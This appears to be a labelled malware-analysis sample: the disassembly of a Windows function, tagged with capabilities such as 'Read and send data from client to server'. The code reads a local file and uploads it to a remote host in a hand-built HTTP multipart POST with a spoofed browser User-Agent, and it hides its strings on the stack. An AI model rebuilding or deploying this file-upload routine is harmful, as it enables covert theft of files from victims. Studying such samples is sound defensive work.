Function at 0x40af2b
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get file size
Initialize winsock library
Read and send data from client to server
Read file on windows
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5d0
mov dword [ebp - 0x5d0], 0
push 0x190
push 0
lea edx, [ebp - 0x5cc]
push edx
call dword [sym.imp.NTDLL.DLL_memset]
add esp, 0xc
lea edx, [ebp - 0x5cc]
push edx
push 0x202
call dword [sym.imp.ws2_32.dll_WSAStartup]
cmp eax, 0
je 0x40afca
push 0xa
push 0xd31203a
push 0x2445444f
push 0x435f524f
push 0x52524524
push 0x20244153
push 0x575f455a
push 0x494c4149
push 0x54494e49
push 0x5f4f545f
push 0x454c4241
push 0x4e555f52
push 0x4f525245
push 0x24202445
push 0x4d495424
push esp
call dword [ebx + 0x30]
add esp, 0x3c
mov dword [ebp - 0x5d0], 1
jmp 0x40b71c
push 0x81
push 0
push 0
push 6
push 1
push 2
call dword [sym.imp.ws2_32.dll_WSASocketA]
cmp eax, 0xffffffff
jne 0x40b042
push 0
push 0xa0d3120
push 0x3a244544
push 0x4f435f52
push 0x4f525245
push 0x24202454
push 0x454b434f
push 0x535f4554
push 0x41455243
push 0x5f4f545f
push 0x454c4241
push 0x4e555f52
push 0x4f525245
push 0x24202445
push 0x4d495424
push esp
call dword [ebx + 0x30]
add esp, 0x3c
mov dword [ebp - 0x5d0], 1
jmp 0x40b71c
mov dword [ebp - 0x43c], eax
push dword [ebp + 8]
call dword [sym.imp.ws2_32.dll_gethostbyname]
cmp eax, 0
jne 0x40b0be
push 0
push 0xa0d3120
push 0x3a244544
push 0x4f435f52
push 0x4f525245
push 0x24202452
push 0x45565245
push 0x535f4548
push 0x545f4f54
push 0x5f544345
push 0x4e4e4f43
push 0x5f4f545f
push 0x454c4241
push 0x4e555f52
push 0x4f525245
push 0x24202445
push 0x4d495424
push esp
call dword [ebx + 0x30]
add esp, 0x44
mov dword [ebp - 0x5d0], 1
jmp 0x40b71c
push 0
push 0
push 0
push 0x50000002
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 4], eax
push 0
push 0
push 0
push 0
push 0x10
lea edx, [esp + 0x14]
push edx
push dword [ebp - 0x43c]
call dword [sym.imp.ws2_32.dll_WSAConnect]
add esp, 0x10
test eax, eax
je 0x40b15e
push 0
push 0xa0d3220
push 0x3a244544
push 0x4f435f52
push 0x4f525245
push 0x24202452
push 0x45565245
push 0x535f4548
push 0x545f4f54
push 0x5f544345
push 0x4e4e4f43
push 0x5f4f545f
push 0x454c4241
push 0x4e555f52
push 0x4f525245
push 0x24202445
push 0x4d495424
push esp
call dword [ebx + 0x30]
add esp, 0x44
mov dword [ebp - 0x5d0], 1
jmp 0x40b71c
push 0
push pe_nt_image_headers32
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
je 0x40b71c
mov dword [ebp - 0x438], eax
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov dword [ebp - 0x434], eax
add eax, 0x400
push eax
push 0x40
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov dword [ebp - 0x430], eax
push 0xa0d2d2d
push 0x6a4a4d61
push 0x596e6c31
push 0x52694861
push 0x43774836
push 0x4a6e557a
push 0x714d2d2d
push 0x2d2d2d2d
push 0x2d2d2d2d
push 0x2d2d0a0d
mov dword [ebp - 4], esp
push 0
push 0xa0d0a0d
push 0x6e69616c
push 0x702f7478
push 0x6574203a
push 0x65707954
push 0x2d746e65
push 0x746e6f43
push 0xd0a2273
push 0x25223d65
push 0x6d616e65
push 0x6c696620
push 0x3b226465
push 0x64616f6c
push 0x7075223d
push 0x656d616e
push 0x203b6174
push 0x61642d6d
push 0x726f6620
push 0x3a6e6f69
push 0x7469736f
push 0x70736944
push 0x2d746e65
push 0x746e6f43
push 0xa0d6a4a
push 0x4d61596e
push 0x6c315269
push 0x48614377
push 0x48364a6e
push 0x557a714d
push 0x2d2d2d2d
push 0x2d2d2d2d
push 0x2d2d2d2d
push dword [ebp + 0x14]
lea edx, [esp + 4]
push edx
push eax
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0xc
add esp, 0x84
push dword [ebp - 0x430]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov dword [ebp - 0x42c], eax
add eax, dword [ebp - 0x430]
push 0
lea edx, [ebp - 0x428]
push edx
push dword [ebp - 0x434]
push eax
push dword [ebp - 0x438]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [ebp - 0x438]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 0x42c]
add eax, dword [ebp - 0x434]
mov dword [ebp - 0x42c], eax
add eax, dword [ebp - 0x430]
push 0x28
push dword [ebp - 4]
push eax
call dword [sym.imp.NTDLL.DLL_memcpy]
add esp, 0xc
add dword [ebp - 0x42c], 0x28
add esp, 0x28
push 0xa0d0a
push 0xd656863
push 0x61632d6f
push 0x6e203a6c
push 0x6f72746e
push 0x6f432d65
push 0x68636143
push 0xa0d6425
push 0x203a6874
push 0x676e654c
push 0x2d746e65
push 0x746e6f43
push 0xa0d7325
push 0x203a7473
push 0x6f480a0d
push 0x6a4a4d61
push 0x596e6c31
push 0x52694861
push 0x43774836
push 0x4a6e557a
push 0x714d2d2d
push 0x2d2d2d2d
push 0x2d2d2d2d
push 0x3d797261
push 0x646e756f
push 0x62203b61
push 0x7461642d
push 0x6d726f66
push 0x2f747261
push 0x7069746c
push 0x756d203a
push 0x65707954
push 0x2d746e65
push 0x746e6f43
push 0xa0d6576
push 0x696c412d
push 0x7065654b
push 0x203a6e6f
push 0x69746365
push 0x6e6e6f43
push 0xa0d6574
push 0x616c6665
push 0x64202c70
push 0x697a6720
push 0x3a676e69
push 0x646f636e
push 0x452d7470
push 0x65636341
push 0xa0d382e
push 0x303d713b
push 0x6e652c39
push 0x2e303d71
push 0x3b75722c
push 0x55522d75
push 0x72203a65
push 0x67617567
push 0x6e614c2d
push 0x74706563
push 0x63410a0d
push 0x34362e31
push 0x312f6e6f
push 0x69737265
push 0x56203932
push 0x322e3031
push 0x2e322f6f
push 0x74736572
push 0x50202975
push 0x72203b55
push 0x203b3436
push 0x574f5720
push 0x3b312e36
push 0x20544e20
push 0x73776f64
push 0x6e695728
push 0x2030382e
push 0x392f6172
push 0x65704f20
push 0x3a746e65
push 0x67412d72
push 0x6573550a
push 0xd312e30
push 0x3d713b2a
push 0x2f2a202c
push 0x70616d74
push 0x6962782d
push 0x782f6567
push 0x616d6920
push 0x2c666967
push 0x2f656761
push 0x6d69202c
push 0x6765706a
push 0x2f656761
push 0x6d69202c
push 0x70626577
push 0x2f656761
push 0x6d69202c
push 0x676e702f
push 0x6567616d
push 0x69202c6c
push 0x6d782b6c
push 0x6d746878
push 0x2f6e6f69
push 0x74616369
push 0x6c707061
push 0x202c392e
push 0x303d713b
push 0x6c6d782f
push 0x6e6f6974
push 0x6163696c
push 0x70706120
push 0x2c6c6d74
push 0x682f7478
push 0x6574203a
push 0x74706563
push 0x63410a0d
push 0x312e312f
push 0x50545448
push 0x20732520
push 0x54534f50
push dword [ebp - 0x42c]
push dword [ebp + 8]
push dword [ebp + 0xc]
lea edx, [esp + 0xc]
push edx
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0x14
add esp, 0x1dc
push 0x14
push 0
lea edx, [ebp - 0x18]
push edx
call dword [sym.imp.NTDLL.DLL_memset]
add esp, 0xc
call dword [sym.imp.ws2_32.dll_WSACreateEvent]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov dword [ebp - 0x424], eax
lea eax, [ebp - 0x418]
mov dword [ebp - 0x420], eax
push 0
lea edx, [ebp - 0x18]
push edx
push 0
lea edx, [ebp - 0x428]
push edx
push 1
lea edx, [ebp - 0x424]
push edx
push dword [ebp - 0x43c]
call dword [sym.imp.ws2_32.dll_WSASend]
test eax, eax
je 0x40b64e
push 0
push 0xa0d3320
push 0x3a244544
push 0x4f435f52
push 0x4f525245
push 0x24202452
push 0x45565245
push 0x535f4548
push 0x545f4f54
push 0x5f544345
push 0x4e4e4f43
push 0x5f4f545f
push 0x454c4241
push 0x4e555f52
push 0x4f525245
push 0x24202445
push 0x4d495424
push esp
call dword [ebx + 0x30]
add esp, 0x44
mov dword [ebp - 0x5d0], 1
jmp 0x40b710
mov eax, dword [ebp - 0x42c]
mov dword [ebp - 0x424], eax
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0x420], eax
push 0
lea edx, [ebp - 0x18]
push edx
push 0
lea edx, [ebp - 0x428]
push edx
push 1
lea edx, [ebp - 0x424]
push edx
push dword [ebp - 0x43c]
call dword [sym.imp.ws2_32.dll_WSASend]
test eax, eax
je 0x40b6f3
push 0
push 0xa0d3420
push 0x3a244544
push 0x4f435f52
push 0x4f525245
push 0x24202452
push 0x45565245
push 0x535f4548
push 0x545f4f54
push 0x5f544345
push 0x4e4e4f43
push 0x5f4f545f
push 0x454c4241
push 0x4e555f52
push 0x4f525245
push 0x24202445
push 0x4d495424
push esp
call dword [ebx + 0x30]
add esp, 0x44
mov dword [ebp - 0x5d0], 1
jmp 0x40b710
push 1
push 0xffffffffffffffff
push 1
lea edx, [ebp - 8]
push edx
push 1
call dword [sym.imp.ws2_32.dll_WSAWaitForMultipleEvents]
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push dword [ebp - 0x430]
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
mov eax, dword [ebp - 0x5d0]
leave
ret 0x10